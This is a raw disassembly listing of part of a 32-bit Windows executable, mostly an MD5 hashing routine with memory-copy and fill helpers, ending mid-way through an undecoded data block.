sub_434A00+18j ... mov eax, [ebx] push eax nop call near ptr 2730000h cmp [ebx+4], ebp jz short loc_434A86 lea ecx, [ebx+8] push ecx call sub_402252 add esp, 4 loc_434A86: ; CODE XREF: sub_434A00+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_434A90: ; CODE XREF: sub_434A00+Aj pop ebp xor eax, eax pop ebx retn sub_434A00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434AD0 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_5103C4 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_434AF4 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_434B03 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_434AF4: ; CODE XREF: sub_434AD0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_434B03 mov eax, ebx loc_434B03: ; CODE XREF: sub_434AD0+1Aj ; sub_434AD0+2Fj push edi xor edi, edi test esi, esi jz short loc_434B65 test eax, eax jz short loc_434B52 mov ecx, [esi+4] test ecx, ecx jz short loc_434B52 test ebx, ebx jz short loc_434B52 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_434B3D loc_434B27: ; CODE XREF: sub_434AD0+65j cmp [ecx+8], esi jz short loc_434B39 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_434B27 jmp short loc_434B3D ; --------------------------------------------------------------------------- loc_434B39: ; CODE XREF: sub_434AD0+5Aj test ecx, ecx jnz short loc_434B52 loc_434B3D: ; CODE XREF: sub_434AD0+55j ; sub_434AD0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DDE mov edi, eax add esp, 0Ch test edi, edi jnz short loc_434B65 loc_434B52: ; CODE XREF: sub_434AD0+3Cj ; sub_434AD0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 2750000h test eax, eax jnz short loc_434B65 mov edi, 0Bh loc_434B65: ; CODE XREF: sub_434AD0+38j ; sub_434AD0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_434AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434BA0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27C0828h mov esi, eax call sub_438250 sub_434BA0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 56E89051h, 56022EBFh, 0E890D88Bh dd 22EC0BDh, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_434BF0 proc near ; CODE XREF: sub_401A69j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_434BF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434C30 proc near ; CODE XREF: sub_401C26j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_434C5B inc dword ptr [esi+14h] loc_434C5B: ; CODE XREF: sub_434C30+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_434CB9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_435A30 lea ecx, [esi+18h] push ecx push esi call sub_434DA0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_434CB5 loc_434C99: ; CODE XREF: sub_434C30+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_434DA0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_434C99 loc_434CB5: ; CODE XREF: sub_434C30+67j xor eax, eax jmp short loc_434CBB ; --------------------------------------------------------------------------- loc_434CB9: ; CODE XREF: sub_434C30+41j xor ebp, ebp loc_434CBB: ; CODE XREF: sub_434C30+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_435A30 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_434C30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434D10 proc near ; CODE XREF: sub_402176j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_435950 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_434D43 mov ecx, 78h loc_434D43: ; CODE XREF: sub_434D10+2Cj sub ecx, eax push ecx push offset aA ; "─" push edi call sub_401C26 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C26 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_435950 push 58h push 0 push edi call sub_435A60 add esp, 30h pop edi pop esi add esp, 8 retn sub_434D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434DA0 proc near ; CODE XREF: sub_434C30+58p ; sub_434C30+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4359C0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_435A60 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_434DA0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435950 proc near ; CODE XREF: sub_434D10+14p ; sub_434D10+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_435997 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43596A: ; CODE XREF: sub_435950+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43596A pop esi loc_435997: ; CODE XREF: sub_435950+7j pop edi retn sub_435950 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_435A0A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4359DD: ; CODE XREF: sub_4359C0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4359DD pop edi pop esi loc_435A0A: ; CODE XREF: sub_4359C0+7j pop ebp retn sub_4359C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep ; sub_434C30+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_435A4C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_435A43: ; CODE XREF: sub_435A30+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_435A43 loc_435A4C: ; CODE XREF: sub_435A30+7j pop esi retn sub_435A30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A60 proc near ; CODE XREF: sub_434D10+60p ; sub_434DA0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_435A8E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_435A8E: ; CODE XREF: sub_435A60+6j retn sub_435A60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_435AA0 proc near ; CODE XREF: sub_401C21j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_435AA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_435AA0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_435B90: ; CODE XREF: ___:loc_401F3Cj push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43D116 push eax mov eax, 16D4h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436148 push 80h mov dword ptr [esp+1Ch], 800h nop call near ptr 77C2C407h add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_444600 ; " " push 1 push eax call sub_4016B8 push 800h mov dword ptr [esp+16F0h], 0 call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0E43D89C0h dd 0F3005103h, 7794BEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004445h, 1833E890h, 0B9001Ch, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0E8BF0000h, 0F3005103h dd 3E4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D3068h dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D808568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch dd 4BA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h dd 448F40h, 40B9h, 